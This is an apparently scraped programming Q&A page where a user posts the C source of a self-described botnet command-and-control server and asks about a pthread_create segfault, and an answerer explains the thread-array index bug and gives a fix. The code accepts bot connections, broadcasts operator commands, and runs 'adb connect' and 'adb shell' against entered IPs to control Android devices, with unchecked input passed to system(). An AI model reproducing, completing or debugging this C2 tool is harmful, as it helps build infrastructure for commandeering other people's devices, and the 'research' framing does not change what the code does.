Home > Back-end >  C Segmentation fault, pthread_create
C Segmentation fault, pthread_create

Time:12-16

I am stumped with this pthread_create segmentation fault. I have already used GDB to find where the fault is — any ideas? And yes it's a botnet command and control server; please no negative comments because of what it is. My intentions are good and for research, also for me to learn about tcp/ip.

Anyway, the pthread_create segmentation fault is at "pthread_create", line 249.

Any ideas why and how this is happening? Maybe even a fix?

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <pthread.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/time.h>

#define TRUE 1
#define FALSE 0 
#define PORT 8888

#define BUFFER_SIZE 1024

unsigned int device_count = 0;

pthread_mutex_t lock;

static void clear(void) {
    printf("\033[H\033[2J");
}

static void banner(void) {
    clear();
    puts("\e[0;32m ██████╗  █████╗ ██████╗ ██╗  ██╗███╗   ██╗███████╗████████╗");
    puts("\e[0;32m ██╔══██╗██╔══██╗██╔══██╗██║ ██╔╝████╗  ██║██╔════╝╚══██╔══╝");
    puts("\e[0;32m ██║  ██║███████║██████╔╝█████╔╝ ██╔██╗ ██║█████╗     ██║   ");
    puts("\e[0;32m ██║  ██║██╔══██║██╔══██╗██╔═██╗ ██║╚██╗██║██╔══╝     ██║   ");
    puts("\e[0;32m ██████╔╝██║  ██║██║  ██║██║  ██╗██║ ╚████║███████╗   ██║   ");
    puts("\e[0;32m ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═══╝╚══════╝   ╚═╝   ");
}

static void help(void) {
    puts("\n        ╔════ [Command] ════════════════════════════════════ [Description] ══════════════════════╗");
    puts("        ║     help                                           Displays help commands              ║");
    puts("        ║     list                                           Displays the amount of bots         ║");
    puts("        ║     banner                                         Displays the banner                 ║");
    puts("        ║     clear                                          Clears the screen                   ║");
    puts("        ║     exit                                           Exits the botnet                    ║");
    puts("        ╚════════════════════════════════════════════════════════════════════════════════════════╝");
}

static void list(void) {
    printf("\nBots -> %d\n", device_count);
}

void *handle_conn(void *new_socket) {
    terminal(*(int *)new_socket);
    pthread_exit(NULL);
    return NULL;
}

struct function {
    const char *shell;
    int (*function)(void);
};

struct function botnet_commands[] = {
    {"?", help},
    {"help", help},
    {"list", list},
    {"banner", banner},
    {"clear", clear},
};

enum {commands_amount = sizeof(botnet_commands) / sizeof(botnet_commands[0])};

int handler(char shell[BUFFER_SIZE]) {
    for (int i = 0; i < commands_amount; i  ) {
        if (strstr(shell, botnet_commands[i].shell)) {
            return (*botnet_commands[i].function)();
        }
    }
}

void terminal(int master_socket){
    int k;
    int w_buf;
    char shell[BUFFER_SIZE];

    while(1){
        pthread_mutex_lock(&lock);

        printf("\n\e[0;31m╔═[ Dark@Net ]=[ Terminal ] ");
        printf("\n\e[0;31m╚═> ");

        w_buf = 0;
        bzero(shell, BUFFER_SIZE);

        while((shell[w_buf  ] = getchar()) != '\n');

        if(strncmp("send_command", shell, 12) == 0){
            k = 0;

            char data_send[1024];
            bzero(data_send, 1024);

            printf("\n\e[0;31m╔═[ Dark@Net ]=[ Enter Command ]");
            printf("\n\e[0;31m╚═> ");

            while ((data_send[k  ] = getchar()) != '\n');

            for (int i = 0; i <= device_count; i  ) {
                pthread_mutex_unlock(&lock);
                if (write(master_socket, data_send, sizeof(data_send)) == -1) {
                    device_count--;
                }
                pthread_mutex_lock(&lock);
            }
            printf("\n[ ] Data Successfully sent!\n");
        }else if (strncmp("connect", shell, 7) == 0) {
            char adb_con_before[15] = "adb connect ";
            char adb_con_after[15] = ":5555";
            
            char *adb_connect_ip;
            adb_connect_ip = (char *)malloc(32 * sizeof(char));
            
            printf("\n\e[0;31m╔═[ Dark@Net ]═[ Enter IP ]");
            printf("\n\e[0;31m╚═> ");
            scanf("%s", adb_connect_ip);
            
            strcat(adb_con_before, adb_connect_ip);
            strcat(adb_con_before, adb_con_after);
            
            system(adb_con_before);
            free(adb_connect_ip);
        } else if (strncmp("cmd", shell, 3) == 0) {
            char adb_shell_before[15] = "adb shell ";
            
            char *adb_cmd;
            adb_cmd = (char *)malloc(32 * sizeof(char));

            printf("\n\e[0;31m╔═[ Dark@Net ]═[ Enter Command ]");
            printf("\n\e[0;31m╚═> ");
            
            scanf("%s", adb_cmd);
            strcat(adb_shell_before, adb_cmd);

            system(adb_shell_before);
            free(adb_cmd);
        } else if (strncmp("shell", shell, 5) == 0) {
            printf("\nRemember, to exit, just use the 'exit' command.");
            system("adb shell");
        } else if (strncmp("restart", shell, 7) == 0) {
            system("adb kill-server");
            system("adb start-server");
        } else if (strncmp("exit", shell, 4) == 0) {
            break;
        } else {
            handler(shell);
        }
        pthread_mutex_unlock(&lock);
        sleep(1);
    }
    pthread_mutex_unlock(&lock);
}

int main(void){
    banner();
    int opt = TRUE;
    int max_sd;
    int master_socket, addrlen, new_socket, client_socket[100000], max_clients = 100000, activity, i = 0, valread, sd;
    struct sockaddr_in address;

    char buffer[1024];

    fd_set readfds;

    for (i = 0; i < max_clients; i  )
    {
        client_socket[i] = 0;
    }

    master_socket = socket(AF_INET, SOCK_STREAM, 0);
    if(master_socket == -1){
        printf("[-] Master socket setup unsuccessful...\n");
        exit(0);
    }else{
        printf("[ ] Master socket setup successful...\n");
    }

    if(setsockopt(master_socket, SOL_SOCKET, SO_REUSEADDR, (char *)&opt, sizeof(opt)) < 0 ){
        printf("[-] Master socket opt setup unsuccessful...\n");
        exit(0);
    }else{
        printf("[ ] Master socket opt setup successful...\n");
    }

    address.sin_family = AF_INET;
    address.sin_addr.s_addr = INADDR_ANY;
    address.sin_port = htons( PORT );

    if(bind(master_socket, (struct sockaddr *)&address, sizeof(address))<0){
        printf("[-] Bind setup unsuccessful...\n");
        exit(0);
    }else{
        printf("[ ] Bind setup successful...\n");
    }

    if(listen(master_socket, 3) < 0){
        printf("[-] Listen setup unsuccessful...\n");
        exit(0);
    }else{
        printf("[ ] Listening...\n");
        addrlen = sizeof(address);
    }

    pthread_t thread[150];
    pthread_mutex_init(&lock, NULL);

    while(1)
    {
        FD_ZERO(&readfds);
    
        FD_SET(master_socket, &readfds);
        max_sd = master_socket;
            
        for(i = 0; i < max_clients; i  ){
            sd = client_socket[i];
                
            if(sd > 0)
                FD_SET(sd, &readfds);
                
            if(sd > max_sd)
                max_sd = sd;
        }
    
        activity = select(max_sd   1, &readfds, NULL, NULL, NULL);
    
        if((activity < 0) && (errno!=EINTR))
        {
            printf("[-] Select setup unsuccessful...\n");
        }else{
            printf("[ ] Select setup successful...\n");
        }

        if(FD_ISSET(master_socket, &readfds)){
            new_socket = accept(master_socket, (struct sockaddr *)&address, (socklen_t*)&addrlen);
            if(new_socket < 0){
                printf("[-] Client connection unsuccessful...\n");
                exit(0);
            }else{
                printf("[ ] Client connected, IP: %s, Port: %d\n", inet_ntoa(address.sin_addr), ntohs(address.sin_port));
                device_count  ;
                pthread_create(&thread[i  ], NULL, handle_conn, &new_socket);
            }

            for(i = 0; i < max_clients; i  ){
                if(client_socket[i] == 0){
                    client_socket[i] = new_socket;
                    printf("[ ] Client added to list, ID: %d\n" , i);
                    break;
                }
            }
        }
            
        for(i = 0; i < max_clients; i  ){
            sd = client_socket[i];
                
            if(FD_ISSET(sd, &readfds)){
                if((valread = read(sd, buffer, 1024)) == 0){
                    getpeername(sd, (struct sockaddr*)&address, (socklen_t*)&addrlen);

                    printf("[-] Client disconnected, IP: %s, Port: %d\n", inet_ntoa(address.sin_addr) , ntohs(address.sin_port));

                    device_count--;

                    close(sd);
                    client_socket[i] = 0;
                }else{
                    buffer[valread] = '\0';
                    send(sd, buffer, strlen(buffer), 0);
                }
            }
        }
    }
    return 0;
}

I have already tried GDB it told me where the fault is still don't know how to resolve this.

CodePudding user response:

The problem (in the question, there may be others) is that the variable 'i' is being used in several places, apparently for different things. It is used as a general index in three for() loops, iterating over max_clients. But it is also being used as some kind of thread counter.

By the time pthread_create() is called, 'i' is set to max_clients, which is way out of bounds for the thread[] array.

Adding a new variable to be used as the thread counter would fix the issue.

int thread_count = 0;
...
pthread_create(&thread[thread_count  ], ...);

I would recommend removing the function-scoped variable 'i' entirely, and using variables scoped to their loops, e.g.

for (int i = 0; ...)

This would have made the problem more obvious, since you'd have had to figure out which variable to use to index the thread[] array.

  • Related